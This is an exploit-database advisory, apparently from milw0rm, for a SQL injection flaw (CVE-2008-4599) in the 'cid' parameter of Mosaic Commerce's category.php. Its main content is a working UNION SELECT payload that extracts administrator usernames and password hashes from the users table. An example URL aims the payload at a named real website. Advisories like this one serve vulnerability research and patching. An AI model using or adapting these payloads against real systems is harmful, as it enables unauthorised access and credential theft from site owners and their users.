Mosaic Commerce - 'cid' SQL Injection

Author: Ali Abbasi
type: webapps
platform: php
port: 
date_added: 2008-10-15 
date_updated: 2016-12-29 
verified: 1 
codes: OSVDB-49197;CVE-2008-4599 
tags: 
aliases:  
screenshot_url:  
application_url: 

 Mosaic Commerce SQL Injection Vulnerability
Discovered By Ali Abbasi[abbasi[At]ustmb.ac.ir]
Mazandaran University Of Science And Technology
Network Security Research Center
Babol, Iran
http://cyber-defence.com
Greetz For All Persian Bugtraq Members ( www.bugtraq.ir )


  {SQL BUG}
  /mosaic-path/category.php?cid=[SQL]

  Exploit For Get Admin Username And Password Hash:
  category.php?cid=-12/**/union/**/select/**/1,concat(users_name,0x3a,users_password),3/**/from/**/users/*


Example:

http://www.coppermax.com/category.php?cid=-12/**/union/**/select/**/1,concat(users_name,0x3a,users_password),3/**/from/**/users/*

# milw0rm.com [2008-10-16]